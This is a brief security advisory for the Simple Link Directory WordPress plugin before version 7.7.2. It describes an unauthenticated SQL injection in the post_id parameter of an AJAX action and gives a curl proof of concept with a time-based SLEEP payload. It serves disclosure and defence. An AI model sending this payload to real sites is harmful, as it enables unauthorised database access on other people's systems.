Simple Link Directory < 7.7.2 - Unauthenticated SQL injection

The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection

PoC

curl ‘http://example.com/wp-admin/admin-ajax.php’ --data ‘action=qcopd_upvote_action&post;_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)’